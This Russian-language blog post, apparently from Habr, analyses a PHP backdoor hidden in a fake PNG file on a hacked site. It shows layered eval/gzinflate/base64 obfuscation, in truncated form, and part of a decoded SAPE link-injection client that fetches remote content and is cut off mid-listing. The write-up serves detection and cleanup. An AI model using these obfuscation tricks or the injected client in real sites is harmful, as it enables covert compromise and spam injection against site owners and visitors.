{"id":217793,"date":"2014-04-01T10:51:02","date_gmt":"2014-04-01T06:51:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=217793"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=217793","title":{"rendered":"<span class=\"post_title\">\u0414\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f PHP<\/span>"},"content":{"rendered":"<div class=\"content html_format\"> \t\t\t\u0417\u0434\u0440\u0430\u0432\u0441\u0442\u0432\u0443\u0439 \u0425\u0430\u0431\u0440!<br \/>  \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u0437\u0430\u0439\u0434\u044f \u043d\u0430 \u0441\u0430\u0439\u0442 \u0441\u0432\u043e\u0435\u0439 \u0437\u043d\u0430\u043a\u043e\u043c\u043e\u0439, \u0447\u0435\u0440\u0435\u0437 \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0432 \u043f\u043e\u0434\u0432\u0430\u043b\u0435.<br \/>  \u042f \u043f\u043e\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0441\u044f \u0443 \u043d\u0435\u0435, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043b\u0438 \u043e\u043d\u0430 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b\u0430 \u044d\u0442\u0438 \u0441\u0441\u044b\u043b\u043a\u0438. \u041a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u043d\u0435\u0442. \u041e\u043d\u0430 \u0443\u0434\u0438\u0432\u0438\u043b\u0430\u0441\u044c \u0438 \u0440\u0435\u0448\u0438\u043b\u0430 \u043b\u0438\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043e \u043a\u0430\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043a\u0430\u0445 \u0438\u0434\u0435\u0442 \u0440\u0435\u0447\u044c \u0438 \u0437\u0434\u0435\u0441\u044c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435: \u0441\u0441\u044b\u043b\u043a\u0438 \u0431\u044b\u043b\u0438, \u043d\u043e \u0434\u0440\u0443\u0433\u0438\u0435. \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u0430\u044f \u0440\u0435\u043a\u043b\u0430\u043c\u0430, \u043f\u0440\u0438\u0447\u0435\u043c \u0438\u043c\u0435\u044e\u0449\u0430\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433.<\/p>\n<p>  \u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u044f \u0432\u044b\u043f\u0438\u043b\u0438\u0432\u0430\u043b \u0441\u043a\u0432\u0435\u0440\u043d\u0443 \u0438 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043b\u0441\u044f \u043a\u0430\u043a \u043e\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.<br \/>  <a name=\"habracut\"><\/a><\/p>\n<p>  \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u044f \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u043b \u0432 index.php \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0442\u0430\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 include:  <\/p>\n<pre><code class=\"php\">include'\/www\/****\/www\/htdocs\/templates\/Default\/images\/thumpa.png'; <\/code><\/pre>\n<p>  \u041d\u0435 \u0434\u043e\u043b\u0433\u043e \u0434\u0443\u043c\u0430\u044f \u044f \u043e\u0442\u043a\u0440\u044b\u043b \u0444\u0430\u0439\u043b \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u043c \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434:<br \/>  p.s. \u0441\u0435\u0439\u0447\u0430\u0441 \u0438 \u0434\u0430\u043b\u0435\u0435 \u0432\u0441\u0435 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u0434\u044b \u0431\u0443\u0434\u0443\u0442 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u043d\u0435 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e. \u0412\u0441\u0435 \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u0435 \u0441\u043c\u043e\u0433\u0443\u0442 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a \u0432 \u043a\u043e\u043d\u0446\u0435 \u0441\u0442\u0430\u0442\u044c\u0438.<br \/>  \u0412\u044b\u0440\u0435\u0437\u0430\u043d\u043d\u044b\u0439 \u043a\u0443\u0441\u043e\u043a \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u0442\u044c\u0441\u044f \u0442\u043e\u0447\u043a\u0430\u043c\u0438.<\/p>\n<pre><code class=\"php\">&lt;?php preg_replace(&quot;\/.*\/e&quot;,&quot;\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x34\\x5F\\x64\\x65\\x63\\x6F\\x64\\x65\\x28'lZ3LjiRNcp33AvQOg8EspA1Rme7hU... ...bfr3\/\/5jz\/905\/+8se\/\/uMff7vUvz6Dy97\/qiqz\/\/7X\/wc='\\x29\\x29\\x29\\x3B&quot;,&quot;&quot;); ?&gt; <\/code><\/pre>\n<p>  \u041a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u044f \u0443\u0431\u0440\u0430\u043b e \u0438\u0437 preg_replace \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:  <\/p>\n<pre><code class=\"php\">string(21435) &quot;eval(gzinflate(base64_decode('lZ3LjiRNcp33AvQOg8EspA1Rme7hUYmB3sQ3eRUhaMMR... ...19+U\/8v3Ht9587f7\/\/vPfw9ue\/Pv\/v9X\/\/t7\/88bfr3\/\/5jz\/905\/+8se\/\/uMff7vUvz6Dy97\/qiqz\/\/7X\/wc=')));&quot;  <\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0430\u0441\u044c, \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u0438\u0432 \u043e\u0442\u0441\u0442\u0443\u043f\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0442\u0430\u043a\u043e\u0439 \u043a\u043e\u0434:<\/p>\n<pre><code class=\"php\">$xrawhx .= &quot;\\x70\\x72\\x65\\x67\\x5f\\x72\\x65\\x70\\x6c\\x61\\x63\\x65\\x28\\x22\\x2f\\x2e\\x2a\\x2f\\x65\\x22\\x2........&quot;; $xtzzr9 .= &quot;\\x61\\x73\\x6d\\x37\\x62\\x6c\\x63\\x37\\x45\\x70\\x61\\x37\\x39\\x49\\x61\\x77\\x52\\x36\\x6c\\x42\\........&quot;; $x6ygye .= &quot;\\x43\\x4f\\x41\\x56\\x5a\\x33\\x66\\x43\\x34\\x66\\x62\\x6f\\x6b\\x61\\x67\\x2b\\x69\\x62\\x61\\x4a\\...........&quot;; $xj3swq .= &quot;\\x46\\x4a\\x33\\x6c\\x67\\x42\\x4d\\x2b\\x36\\x79\\x53\\x55\\x35\\x51\\x35\\x72\\x79\\x65\\x77\\x58\\x6a\\x4.................&quot;; eval($xrawhx . $xtzzr9 . $x6ygye . $xj3swq); <\/code><\/pre>\n<p>  \u0421\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043c\u043e\u043c \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0432 \u043f\u0443\u0441\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0441\u044f \u0444\u0430\u0439\u043b <b>pic-ok.jpg<\/b>, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432 \u0441\u0435\u0431\u0435 JSON \u043c\u0430\u0441\u0441\u0438\u0432:<\/p>\n<pre><code class=\"javascript\">a:13:{ \ts:18:&quot;__sape_delimiter__&quot;; \ts:0:&quot;&quot;; \ts:12:&quot;__for_user__&quot;; \ts:32:&quot;1d1d4d19b7f1e85d3b1e2d6534298036&quot;; \ts:12:&quot;__for_host__&quot;; \ts:15:&quot;http:\/\/test3.ru&quot;; \ts:31:&quot;__sape_page_obligatory_output__&quot;; \ts:0:&quot;&quot;; \ts:16:&quot;__sape_new_url__&quot;; \ts:17:&quot;&lt;!--check code--&gt;&quot;; \ts:12:&quot;__sape_ips__&quot;; \ta:2: { \t\ti:0;s:13:&quot;188.72.80.205&quot;; \t\ti:1;s:13:&quot;188.72.80.201&quot;; \t} \ts:16:&quot;__sape_charset__&quot;; \ts:12:&quot;windows-1251&quot;; \ts:15:&quot;__last_update__&quot;; \ti:1396242774; \ts:14:&quot;__multi_site__&quot;; \tb:0; \ts:21:&quot;__fetch_remote_type__&quot;; \ts:17:&quot;file_get_contents&quot;; \ts:15:&quot;__ignore_case__&quot;; \tb:0; \ts:15:&quot;__php_version__&quot;; \ts:6:&quot;5.3.13&quot;; \ts:19:&quot;__server_software__&quot;; \ts:62:&quot;Apache\/2.2.22 (Win32) mod_ssl\/2.2.22 OpenSSL\/1.0.1c PHP\/5.3.13&quot;; } <\/code><\/pre>\n<p>  IP \u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0441\u0430\u0439\u0442\u0430\u043c:  <\/p>\n<blockquote><p>IP 188.72.80.205<br \/>  \u0425\u043e\u0441\u0442: asrv92.qwarta.ru <\/p>\n<p>  IP 188.72.80.201<br \/>  \u0425\u043e\u0441\u0442: asrv110.qwarta.ru  <\/p><\/blockquote>\n<p>  \u041d\u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 qwarta.ru \u043a\u0440\u0430\u0441\u0443\u0435\u0442\u0441\u044f \u043a\u043b\u0438\u0435\u043d\u0442 <b>sape.ru<\/b>, \u0430 \u0431\u0435\u0433\u043b\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u043d\u0430 JSON \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e sape \u0442\u0443\u0442 \u0438 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.<\/p>\n<p>  \u041d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0448\u0430\u0433\u0435 \u043c\u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u043b\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u0443\u044e \u0438\u0437 4 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u0442\u0440\u043e\u043a.<br \/>  \u041e\u0431\u044a\u0435\u0434\u0435\u043d\u0438\u0432 \u0441\u0442\u0440\u043e\u043a\u0438, \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d preg_replace<\/p>\n<pre><code class=\"php\">preg_replace(&quot;\/.*\/e&quot;,&quot;\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x34\\x5F\\x64\\x65\\x63\\x6F\\x64\\x65\\x28'zZtHD4Padkb\/y528XKnBMk5UZ... ...E81swU\/3+avikd2Q3589CvKM2QwcA0yBAJTQIdtR\/\/B\/\/Ovov'\\x29\\x29\\x29\\x3B&quot;,&quot;&quot;); <\/code><\/pre>\n<p>  \u0421\u043d\u043e\u0432\u0430 \u0443\u0431\u0440\u0430\u0432 <b>e<\/b> \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c:<\/p>\n<pre><code class=\"php\">eval(gzinflate(base64_decode('zZtHD4Padkb\/y528JEShN0UZ0Hvv6EkRvWNsOr8+3NwnJZPM.... <\/code><\/pre>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u0438\u0434\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0439 preg_replace \u2014 base64_decode, \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u0434\u0432\u0430 preg_replace \u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u0435\u0449\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e.<br \/>  \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 preg_replace \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0435 \u0434\u0430\u0435\u0442:<\/p>\n<pre><code class=\"php\">function djsobc68161($str) { \t$a = &quot;\\x62\\x61\\x73\\x65\\x36\\x34\\x5f\\x64\\x65\\x63\\x6f\\x64\\x65&quot;; \t$b = &quot;\\x67\\x7a\\x69\\x6e\\x66\\x6c\\x61\\x74\\x65&quot;; \treturn $b($a($str)); } <\/code><\/pre>\n<p>  \u0414\u043b\u0438\u043d\u043d\u044b\u0439:  <\/p>\n<pre><code class=\"php\">$a = &quot;\\x62\\x61\\x73\\x65\\x36\\x34\\x5f\\x65\\x6e\\x63\\x6f\\x64\\x65&quot;; $b = &quot;\\x67\\x7a\\x64\\x65\\x66\\x6c\\x61\\x74\\x65&quot;; eval(djsobc68161(&quot;7T1rd9s2st97Tv8D42pNqZFl2UnT1m9v.......1f7e\/wI=&quot;)); <\/code><\/pre>\n<p>  \u0427\u0442\u043e\u0436, \u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 PHP \u0438 \u044d\u0442\u043e, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0440\u0430\u0434\u0443\u0435\u0442!<\/p>\n<p>  \u041f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f $a \u0432 <b>\u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/b> \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u00abbase64_decode\u00bb, \u0430 \u0432 $b, \u043d\u0435 \u0442\u0440\u0443\u0434\u043d\u043e \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f, \u00abgzinflate\u00bb.<br \/>  \u0410 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 $a \u0438 $b \u0438\u0437 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e preg_replace \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u0442\u0440\u043e\u043a\u0438 base64_encode \u0438 gzdeflate.<br \/>  \u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0434\u043b\u0438\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 SAPE \u0441 \u0432\u043a\u0440\u043e\u043f\u043b\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430, \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b {\u0441\u0442\u0440\u043e\u043a\u0438} \u043d\u0430 \u043a\u043e\u0434 SAPE \u0432 \u0448\u043a\u0431\u043b\u043e\u043d\u0435 DLE.<\/p>\n<p>  \u0418\u043c\u0435\u044f ID \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0438 \u0431\u0443\u0434\u0443\u0447\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0432 Sape, \u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0436\u0430\u043b\u043e\u0431\u0443 \u0432 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438, \u0441 \u043f\u0440\u043e\u0441\u044c\u0431\u043e\u0439 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b. \u0421\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0438\u043b \u043c\u043d\u0435, \u0447\u0442\u043e \u043c\u0435\u0440\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b. \u041d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u041a\u0430\u043a\u0438\u0435?\u00bb \u043e\u0442\u0432\u0435\u0442\u0438\u043b, \u0446\u0438\u0442\u0438\u0440\u0443\u044e:  <\/p>\n<blockquote><p>\u0417\u0434\u0440\u0430\u0432\u0441\u0442\u0432\u0443\u0439\u0442\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c \u043d\u0430\u0448\u0435\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. \u0414\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0442\u044c\u0438 \u043b\u0438\u0446\u0430\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438\u0437 \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u043e\u0432.<\/p><\/blockquote>\n<p>  \u0414\u043b\u044f \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0444\u0430\u0439\u043b\u043e\u0432:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u041f\u043e\u043b\u043d\u044b\u0439 \u043b\u0438\u0441\u0442\u0438\u043d\u0433. 1000+ \u0441\u0442\u0440\u043e\u043a.<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"php\">&lt;? define('_SAPE_USER', '1d1d4d19b7f1e85d3b1e2d6534298036');   class SAPE_base {      var $_version = '1.1.11';      var $_verbose = false;      var $_charset = '';      var $_sape_charset = '';      var $_server_list = array('dispenser-01.sape.ru', 'dispenser-02.sape.ru');      var $_cache_lifetime = 3600;      var $_cache_reloadtime = 600;      var $_error = '';      var $_host = '';      var $_request_uri = '';      var $_multi_site = false;      var $_fetch_remote_type = '';      var $_socket_timeout = 6;      var $_force_show_code = false;      var $_is_our_bot = false;      var $_debug = false;      var $_ignore_case = false;      var $_db_file = '';      var $_use_server_array = false;      var $_force_update_db = false;      var $_is_block_css_showed = false;      var $_is_block_ins_beforeall_showed = false;      var $_user_agent = '';      function SAPE_base($options = null) {          $host = '';          if (is_array($options)) {             if (isset($options['host'])) {                 $host = $options['host'];             }         } elseif (strlen($options)) {             $host = $options;             $options = array();         } else {             $options = array();         }          if (isset($options['use_server_array']) && $options['use_server_array'] == true) {             $this-&gt;_use_server_array = true;         }          if (strlen($host)) {             $this-&gt;_host = $host;         } else {             $this-&gt;_host = $_SERVER['HTTP_HOST'];         }          $this-&gt;_host = preg_replace('\/^http:\\\/\\\/\/', '', $this-&gt;_host);         $this-&gt;_host = preg_replace('\/^www\\.\/', '', $this-&gt;_host);          if (isset($options['request_uri']) && strlen($options['request_uri'])) {             $this-&gt;_request_uri = $options['request_uri'];         } elseif ($this-&gt;_use_server_array === false) {             $this-&gt;_request_uri = getenv('REQUEST_URI');         }          if (strlen($this-&gt;_request_uri) == 0) {             $this-&gt;_request_uri = $_SERVER['REQUEST_URI'];         }          if (isset($options['multi_site']) && $options['multi_site'] == true) {             $this-&gt;_multi_site = true;         }          if (isset($options['debug']) && $options['debug'] == true) {             $this-&gt;_debug = true;         }          if (isset($_COOKIE['sape_cookie']) && ($_COOKIE['sape_cookie'] == _SAPE_USER)) {             $this-&gt;_is_our_bot = true;             if (isset($_COOKIE['sape_debug']) && ($_COOKIE['sape_debug'] == 1)) {                 $this-&gt;_debug = true;                 $this-&gt;_options = $options;                 $this-&gt;_server_request_uri = $this-&gt;_request_uri = $_SERVER['REQUEST_URI'];                 $this-&gt;_getenv_request_uri = getenv('REQUEST_URI');                 $this-&gt;_SAPE_USER = _SAPE_USER;             }             if (isset($_COOKIE['sape_updatedb']) && ($_COOKIE['sape_updatedb'] == 1)) {                 $this-&gt;_force_update_db = true;             }         } else {             $this-&gt;_is_our_bot = false;         }          if (isset($options['verbose']) && $options['verbose'] == true || $this-&gt;_debug) {             $this-&gt;_verbose = true;         }          if (isset($options['charset']) && strlen($options['charset'])) {             $this-&gt;_charset = $options['charset'];         } else {             $this-&gt;_charset = 'windows-1251';         }          if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type'])) {             $this-&gt;_fetch_remote_type = $options['fetch_remote_type'];         }          if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] &gt; 0) {             $this-&gt;_socket_timeout = $options['socket_timeout'];         }          if (isset($options['force_show_code']) && $options['force_show_code'] == true) {             $this-&gt;_force_show_code = true;         }          if (!defined('_SAPE_USER')) {             return $this-&gt;raise_error('1_SAPE_USER');         }          if (isset($options['ignore_case']) && $options['ignore_case'] == true) {             $this-&gt;_ignore_case = true;             $this-&gt;_request_uri = strtolower($this-&gt;_request_uri);         }     }      function fetch_remote_file($host, $path, $specifyCharset = false) {          $user_agent = $this-&gt;_user_agent . ' ' . $this-&gt;_version;          @ini_set('allow_url_fopen', 1);         @ini_set('default_socket_timeout', $this-&gt;_socket_timeout);         @ini_set('user_agent', $user_agent);         if (                 $this-&gt;_fetch_remote_type == 'file_get_contents'                 ||                 (                         $this-&gt;_fetch_remote_type == ''                         &&                         function_exists('file_get_contents')                         &&                         ini_get('allow_url_fopen') == 1                 )         ) {             $this-&gt;_fetch_remote_type = 'file_get_contents';              if($specifyCharset && function_exists('stream_context_create')) {                 $opts = array(                     'http' =&gt; array(                     'method' =&gt; 'GET',                     'header' =&gt; 'Accept-Charset: '. $this-&gt;_charset. &quot;\\r\\n&quot;                   )                 );                 $context = @stream_context_create($opts);                 if ($data = @file_get_contents('http:\/\/' . $host . $path, null, $context)) {                     return $data;                 }             } else {                 if ($data = @file_get_contents('http:\/\/' . $host . $path)) {                     return $data;                 }             }          } elseif (                 $this-&gt;_fetch_remote_type == 'curl'                 ||                 (                         $this-&gt;_fetch_remote_type == ''                         &&                         function_exists('curl_init')                 )         ) {             $this-&gt;_fetch_remote_type = 'curl';             if ($ch = @curl_init()) {                  @curl_setopt($ch, CURLOPT_URL, 'http:\/\/' . $host . $path);                 @curl_setopt($ch, CURLOPT_HEADER, false);                 @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);                 @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this-&gt;_socket_timeout);                 @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);                 if($specifyCharset) {                     @curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Charset: '. $this-&gt;_charset));                 }                  $data = @curl_exec($ch);                 @curl_close($ch);                  if ($data) {                     return $data;                 }             }          } else {             $this-&gt;_fetch_remote_type = 'socket';             $buff = '';             $fp = @fsockopen($host, 80, $errno, $errstr, $this-&gt;_socket_timeout);             if ($fp) {                 @fputs($fp, &quot;GET {$path} HTTP\/1.0\\r\\nHost: {$host}\\r\\n&quot;);                 if($specifyCharset) {                     @fputs($fp, &quot;Accept-Charset: {$this-&gt;_charset}\\r\\n&quot;);                 }                 @fputs($fp, &quot;User-Agent: {$user_agent}\\r\\n\\r\\n&quot;);                 while (!@feof($fp)) {                     $buff .= @fgets($fp, 128);                 }                 @fclose($fp);                  $page = explode(&quot;\\r\\n\\r\\n&quot;, $buff);                 unset($page[0]);                 return implode(&quot;\\r\\n\\r\\n&quot;, $page);             }          }          return $this-&gt;raise_error('2 ' . $host . $path . ', type: ' . $this-&gt;_fetch_remote_type);     }       function _read($filename) {          $fp = @fopen($filename, 'rb');         @flock($fp, LOCK_SH);         if ($fp) {             clearstatcache();             $length = @filesize($filename);              if (version_compare(PHP_VERSION, '5.3.0', '&lt;')) {                 $mqr = @get_magic_quotes_runtime();                 @set_magic_quotes_runtime(0);             }              if ($length) {                 $data = @fread($fp, $length);             } else {                 $data = '';             }              if (version_compare(PHP_VERSION, '5.3.0', '&lt;')) {                 @set_magic_quotes_runtime($mqr);             }              @flock($fp, LOCK_UN);             @fclose($fp);              return $data;         }          return $this-&gt;raise_error('3: ' . $filename);     }      function _write($filename, $data) {          $fp = @fopen($filename, 'ab');         if ($fp) {             if (flock($fp, LOCK_EX | LOCK_NB)) {                 ftruncate($fp, 0);                  if (version_compare(PHP_VERSION, '5.3.0', '&lt;')) {                     $mqr = @get_magic_quotes_runtime();                     @set_magic_quotes_runtime(0);                 }                  @fwrite($fp, $data);                  if (version_compare(PHP_VERSION, '5.3.0', '&lt;')) {                     @set_magic_quotes_runtime($mqr);                 }                  @flock($fp, LOCK_UN);                 @fclose($fp);                  if (md5($this-&gt;_read($filename)) != md5($data)) {                     @unlink($filename);                     return $this-&gt;raise_error('4: ' . $filename);                 }             } else {                 return false;             }              return true;         }          return $this-&gt;raise_error('5: ' . $filename);     }       function raise_error($e) {          $this-&gt;_error = '&lt;p style=&quot;color: red; font-weight: bold;&quot;&gt;SAPE ERROR: ' . $e . '&lt;\/p&gt;';          if ($this-&gt;_verbose == true) {             print $this-&gt;_error;         }          return false;     }       function _get_db_file() {         return '';     }      function _get_dispenser_path() {         return '';     }       function set_data($data) {     }     function load_data() {         $this-&gt;_db_file = $this-&gt;_get_db_file();          if (!is_file($this-&gt;_db_file)) {             if (@touch($this-&gt;_db_file)) {                 @chmod($this-&gt;_db_file, 0666);             } else {                 return $this-&gt;raise_error(',o ' . $this-&gt;_db_file . '. 777.');             }         }          if (!is_writable($this-&gt;_db_file)) {             return $this-&gt;raise_error('5: ' . $this-&gt;_db_file . '! 77.');         }          @clearstatcache();          $data = 